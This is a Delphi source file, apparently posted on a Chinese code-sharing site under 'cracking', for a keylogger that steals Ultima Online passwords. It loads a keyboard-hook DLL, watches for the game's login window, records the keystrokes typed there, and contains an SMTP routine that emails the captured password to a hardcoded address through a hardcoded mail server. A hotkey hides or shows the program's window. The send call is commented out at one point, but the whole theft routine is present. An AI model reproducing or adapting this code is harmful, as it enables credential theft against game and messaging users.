Proc.pas
上传用户:jiansibo
上传日期:2015-07-04
资源大小:524k
文件大小:8k
源码类别:

破解

开发平台:

Delphi

  1. unit Proc;
  2. interface
  3. uses
  4.   Windows,
  5.   Messages,
  6.   SysUtils,
  7.   winsock,
  8.   KeyScan;
  9. const
  10.   CRLF=#13#10;
  11.   watchdll='uohook.dll';
  12. type
  13.   TWatching=procedure; stdcall;
  14.   TStillWatching=function:Boolean; stdcall;
  15.   TSetReceiver=procedure(R:Integer); stdcall;
  16. var
  17. //   DontLoadLib:boolean;
  18.    err:integer;
  19.    wsadata:twsadata;
  20.    fsocket,fport,step:integer;
  21.    SockAddrIn:TSockAddrIn;
  22.    hackmail,email,newpass,fhost,s1,password:string;
  23.    //
  24.    hold,starthack:integer;
  25.    lp,newtime,show,HotKey,HotC:integer;
  26.    hMain,hInst,hlist:integer;
  27.    Msg:TMsg;
  28.    wClass:TWndClass;
  29.    LibHandle:THandle;
  30.    MOUSE_EVENT,KEY_EVENT,SHELL_EVENT,WNDPROC_EVENT:Integer;
  31.    StartWatching:TWatching;
  32.    StopWatching:TWatching;
  33.    StopAll:TWatching;
  34.    StillWatching:TStillWatching;
  35.    SetReceiver:TSetReceiver;
  36.    qbuf,sbuf,keybuf:array[0..200] of char;
  37. procedure wincreate(hwnd:integer);
  38. procedure windestroy;
  39. procedure OnTimer;
  40. procedure winhotkey;
  41. procedure OnShellHook(nCode: Integer; wParam: Longint);
  42. procedure OnKeyHook(nCode: Integer; wParam: Longint);
  43. procedure OnMouseHook(nCode: Integer; wParam:longint);
  44. procedure OnWndProcHook(nCode: Integer; wParam: Longint);
  45. procedure StartHook;
  46. procedure ResetLibVars;
  47. implementation
  48. //下面是个发信的过程
  49. procedure MailSend;
  50. begin
  51.   err:=recv(FSocket,sbuf,400,0);
  52.   s1:=strpas(sbuf);
  53.   inc(step);
  54.   case step of
  55.     1:s1:='HELO smtp.hacker.com'+CRLF;
  56.     2:s1:='MAIL FROM: <getoicq@21cn.com>'+CRLF;
  57.     3:s1:='RCPT TO: <'+email+'>'+CRLF;
  58.     4:s1:='DATA'+CRLF;
  59.     5:s1:='From:"Oicq Hack"<www.hacker.com>'+CRLF
  60.           +'To:"getoicq"<www.password.com>'+CRLF
  61.           +'Subject:QQ2001 Password come.'+CRLF
  62.           +CRLF
  63.           +newpass+CRLF
  64.           +'.'+CRLF;
  65.     6:s1:='QUIT'+CRLF;
  66.   else
  67.     step:=0;
  68.   end;
  69.   strcopy(sbuf,pchar(s1));
  70.   err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE);
  71. end;
  72. procedure SendPass;
  73. begin
  74.     err:=WSAStartup($0101,WSAData);
  75.     FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);
  76.     //利用  smtp.21cn.com  进行发信
  77.     fhost:='202.104.32.230';
  78.     fport:=25;
  79.     SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost));
  80.     SockAddrIn.sin_family := PF_INET;
  81.     SockAddrIn.sin_port :=htons(Fport);
  82.     err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));
  83.       step:=0;
  84.       repeat
  85.         MailSend;
  86.       until step=0;
  87.     err:=closesocket(FSocket);
  88.     err:=WSACleanup;
  89. end;
  90. procedure winhotkey;
  91. begin
  92.   if show>0 then showwindow(hmain,sw_hide)
  93.   else showwindow(hmain,sw_show);
  94.   show:=-show;
  95.   //messagebox(0,'HotKey=CTRL+ALT+B','',0);
  96. end;
  97. procedure StartHook;
  98. begin
  99.  if LibHandle=0 then
  100.  begin
  101.   LibHandle:=LoadLibrary(watchdll);
  102.   if LibHandle<>0 then
  103.   begin
  104.    @StartWatching:=GetProcAddress(LibHandle, 'StartWatching');
  105.    @StopWatching:=GetProcAddress(LibHandle, 'StopWatching');
  106.    @StopAll:=GetProcAddress(LibHandle, 'StopAll');
  107.    @StillWatching:=GetProcAddress(LibHandle, 'StillWatching');
  108.    @SetReceiver:=GetProcAddress(LibHandle, 'SetReceiver');
  109.    if assigned(SetReceiver) then
  110.    begin
  111.      SetReceiver(hmain);
  112.      if assigned(StartWatching) then StartWatching;
  113.     inc(HotC);
  114.     strpcopy(sbuf,format('In Count=%d',[HotC]));
  115.     sendmessage(hlist,LB_ADDSTRING,0,integer(@sbuf));
  116.    end;
  117.   end;
  118.   if (LibHandle=0)
  119.       or (not assigned(StartWatching))
  120.       or (not assigned(StopWatching))
  121.       or (not assigned(StillWatching))
  122.       or (not assigned(StopAll)) then
  123.   begin
  124.    if LibHandle=0 then messagebox(hmain,pchar('handle'),pchar('Library '+watchdll+' not found.'),0)
  125.    else messagebox(hmain,pchar('handle'),pchar('Library '+watchdll+' not Valid.'),0);
  126.   end;
  127.  end;
  128. end;
  129. procedure wincreate(hwnd:integer);
  130. begin
  131.  starthack:=0;
  132.  show:=1;
  133.  HotKey:=GlobalAddAtom('njhhack');
  134.  RegisterHotKey(hwnd,HotKey,MOD_ALT or MOD_CONTROL,66);
  135.  SHELL_EVENT:=RegisterWindowMessage(PChar('HACK_SHELL_EVENT'));
  136.  KEY_EVENT:=RegisterWindowMessage(PChar('HACK_KEY_EVENT'));
  137.  MOUSE_EVENT:=RegisterWindowMessage(PChar('HACK_MOUSE_EVENT'));
  138.  WNDPROC_EVENT:=RegisterWindowMessage(PChar('HACK_WNDPROC_EVENT'));
  139.  ResetLibVars;
  140. end;
  141. procedure windestroy;
  142. begin
  143.  UnRegisterHotKey(hmain,HotKey);
  144.  if assigned(StopAll) then StopAll;
  145.  if LibHandle<>0 then FreeLibrary(LibHandle);
  146.  ResetLibVars;
  147.  killtimer(hmain,newtime);
  148.  exitprocess(0);
  149. end;
  150. procedure ResetLibVars;
  151. begin
  152.  HotC:=0;
  153.  LibHandle:=0;
  154.  StartWatching:=nil;
  155.  StopWatching:=nil;
  156.  StopAll:=nil;
  157.  StillWatching:=nil;
  158. end;
  159. procedure OnKeyHook(nCode: Integer; wParam: Longint);
  160. var hwnd:integer;
  161. s1:string;
  162. begin
  163.     //检测是否开始记录,若starthack=true且wparam>$123456则开始记录按键
  164.     keyscaner(ncode,wparam);
  165.     //    strcopy(sbuf,pchar(skey));
  166.     //将字符保存在sbuf中
  167.     //将字符累加到keybuf中
  168.     if (starthack>0) and (wparam/$123456>0) then
  169.     begin
  170.     //strcopy(sbuf,pchar(format('%x',[ncode])));
  171.     //sendmessage(hlist,LB_ADDSTRING,0,integer(@sbuf));
  172.     //      if length(skey)>0 then
  173.     //      strcopy(keybuf,pchar(strpas(keybuf)+strpas(sbuf)));
  174.     end;
  175. end;
  176. procedure OnMouseHook(nCode: Integer; wParam:longint);
  177. var
  178.   hwnd,wlong:integer;
  179.   pmhs:pMOUSEHOOKSTRUCT;
  180. begin
  181.   if ncode=$202  then
  182.     begin
  183. //      pmhs:=pMOUSEHOOKSTRUCT(wparam);
  184. //      strpcopy(sbuf,format('Mouse=hmain=%x,hwnd=%x,focus=%x,(%d,%d)',[hmain,pmhs^.hwnd,wlong,pmhs^.pt.x,pmhs^.pt.y]));
  185. //      sendmessage(hlist,LB_ADDSTRING,0,integer(@sbuf));
  186. //      wlong:=GetWindowLong(pmhs^.hwnd,GWL_STYLE);
  187.     end;
  188. end;
  189. procedure OnWndProcHook(nCode: Integer; wParam: Longint);
  190. var pcws:PCWPSTRUCT;
  191. mes,hwnd:longint;
  192. begin
  193. {  pcws:=PCWPSTRUCT(wparam);
  194.   mes:=pcws^.message;
  195.   hwnd:=pcws^.hwnd;
  196.   strpcopy(sbuf,format('message=%x,hwnd=%x,main=%x',[mes,hwnd,hmain]));
  197.   if mes=MOUSE_EVENT then  sendmessage(hlist,LB_ADDSTRING,0,integer(@sbuf));
  198. }
  199. end;
  200. procedure OnShellHook(nCode: Integer; wParam: Longint);
  201. begin
  202.  case nCode of
  203.   HSHELL_ACTIVATESHELLWINDOW:
  204.   begin
  205.     getwindowtext(wparam,sbuf,200);
  206.     strpcopy(sbuf,format('Shell=%s',[sbuf]));
  207. //    sendmessage(hlist,LB_ADDSTRING,0,integer(@sbuf));
  208.   end;
  209.   HSHELL_WINDOWACTIVATED:
  210.   begin
  211.     getwindowtext(wparam,sbuf,200);
  212.     strpcopy(sbuf,format('Active=%s',[sbuf]));
  213. //    sendmessage(hlist,LB_ADDSTRING,0,integer(@sbuf));
  214.   end;
  215.   HSHELL_WINDOWCREATED:
  216.   begin
  217.     getwindowtext(wparam,sbuf,200);
  218.     strpcopy(sbuf,format('Create=%s',[sbuf]));
  219. //    sendmessage(hlist,LB_ADDSTRING,0,integer(@sbuf));
  220.   end;
  221.   HSHELL_WINDOWDESTROYED:
  222.   begin
  223.     getwindowtext(wparam,sbuf,200);
  224.     strpcopy(sbuf,format('Destroy=%s',[sbuf]));
  225. //    sendmessage(hlist,LB_ADDSTRING,0,integer(@sbuf));
  226.   end;
  227.  end;
  228. end;
  229. function lpEnumFunc(hwnd:integer;uint:integer):boolean;stdcall;
  230. var hw,hs,wlong,hup,i:integer;
  231.     sbuf,sb3,sb2:array[0..256] of char;
  232.     sb1:string;
  233. begin
  234. //  strpcopy(qbuf,'QQ用户登录');
  235.   if (starthack=0) then
  236.   begin
  237.     //检查是否UO 密码输入框是否出现
  238.     sendmessage(hwnd,wm_gettext,100,integer(@sbuf));
  239.     strpcopy(sb2,'Ultima Online');
  240.     strpcopy(sb3,'Origin Online');
  241.     hold:=hwnd;
  242.     if (strcomp(sbuf,sb2)=0) or (strcomp(sbuf,sb3)=0) then
  243.     begin
  244.       starthack:=1;
  245.       //设置开始记录的标志
  246.       strpcopy(keybuf,pchar(''));
  247.       strcopy(sbuf,pchar('newpass='+strpas(sbuf)));
  248.       sendmessage(hlist,LB_ADDSTRING,0,integer(@sbuf));
  249.       strpcopy(sbuf,pchar(''));
  250.     end;
  251.   end else
  252.   begin
  253.     sendmessage(hold,wm_gettext,100,integer(@sbuf));
  254.     strpcopy(sb2,'Ultima Online');
  255.     strpcopy(sb3,'Origin Online');
  256.     if not ((strcomp(sbuf,sb2)=0) or (strcomp(sbuf,sb3)=0)) then
  257.     begin
  258.       //设置开始记录的标志
  259.       strcopy(sbuf,pchar('passold='+strpas(sbuf)));
  260.     //  sendmessage(hlist,LB_ADDSTRING,0,integer(@sbuf));
  261.               //设置停止记录的标志
  262.     //取得密码
  263.     newpass:=format('password=%s',[keybuf]);
  264.     strcopy(sbuf,pchar(newpass));
  265.     sendmessage(hlist,LB_ADDSTRING,0,integer(@sbuf));
  266.     //将密码发到信箱njhhack@21cn.com中
  267.     email:='njhhack@21cn.com';
  268. //    sendpass;
  269.     //信息存盘
  270.     strcopy(keybuf,'');
  271.     starthack:=0;
  272.     end;
  273.   end;
  274.   //
  275.   result:=true;
  276. end;
  277. procedure OnTimer;
  278. begin
  279.      lp:=0;
  280.      EnumChildWindows(GetDesktopWindow,@lpEnumFunc,lp);
  281. end;
  282. end.